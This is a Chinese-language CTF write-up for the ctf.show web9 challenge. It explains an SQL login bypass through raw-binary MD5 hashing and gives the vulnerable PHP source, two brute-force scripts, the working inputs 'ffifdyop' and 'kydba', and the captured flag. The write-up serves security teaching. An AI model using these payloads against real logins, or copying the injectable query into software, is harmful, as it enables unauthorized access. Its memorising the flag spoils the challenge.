MD5哈希注入

在网上看到一道CTF题目:https://ctf.show/challenges#web9

打开后扫目录发现robots.txt,里面提示了index.phps,下载,审计,发现MD5哈希注入:

<?php
    $flag="";
    $password=$_POST['password'];
    if(strlen($password)>10){
      die("password error");
    }
    $sql="select * from user where username ='admin' and password ='".md5($password,true)."'";
    $result=mysqli_query($con,$sql);
    if(mysqli_num_rows($result)>0){
        while($row=mysqli_fetch_assoc($result)){
           echo "登陆成功<br>";
           echo $flag;
        }
    }
?>

问题出在第7行md5($password,true),密码使用了 md5 以二进制形式加密后进行在数据库中进行查询,若查询到了数据,就返回成功。

img

第一种方法是将加密后的密码构造出类似 ' or '1' 的形式

<?php

    $v = 'a';

    $payload2 = "'or'";
    while(1){
        $hash = hash("md5",$v,true);
        if(substr_count($hash, $payload2) == 1){
            die($v);     
        }
        $v++;
    }

?>

这是网上的脚本不过我倒是没跑出来。。。

这里 $v++ 其实是按照 ascii 字符进行后移的;

最后可以得到一个结果 ffifdyop,(还有一个是129581926211651571912466741651878684928

将这个加密回去试试,看到确实是'or'的形式

那么只要我们随意输入一个用户名,密码为 ffifdyop 那么这样我们的语句就变成了:

select * from users where user = 'admin' and password = ''or'6蒥欓!r,b'

这样就可成功绕过判断。

还有一个构造的方法是构造 '=' 的形式,也就是

select * from users where user = 'admin' and password = ''=''

为什么这样构造可以呢?因为 password = ''='' 中,先判断 password ='' ,这个肯定是返回 0 的,因为 password 中没有''这个字段值,前面返回 0 以后,再和后面的等号做比较:0 = ''

因为后面的根据 php 的弱类型进行判断,0 和字符串比较始终返回 1

所以整个 sql 语句就相当于:

select * from users where user = 'admin' and 1

所以与上面的 'or' 不同的是,这个需要传入一个存在的用户名才可以正常绕过:

//by wh1sper
<?php

$v = 'a';

//die(md5('kydba',true));

$payload2 = "'='";
while(1){
    $hash = hash("md5",$v,true);
    if(preg_match("/^$payload2/i", $hash)){
        die($v);
    }
    $v++;
}

得到结果是kydba,加密回去是'='NJ��s��5�z��@

flag{9e92802a-684e-4115-bbe8-f3fdbbf71339}

updatedupdated2022-10-302022-10-30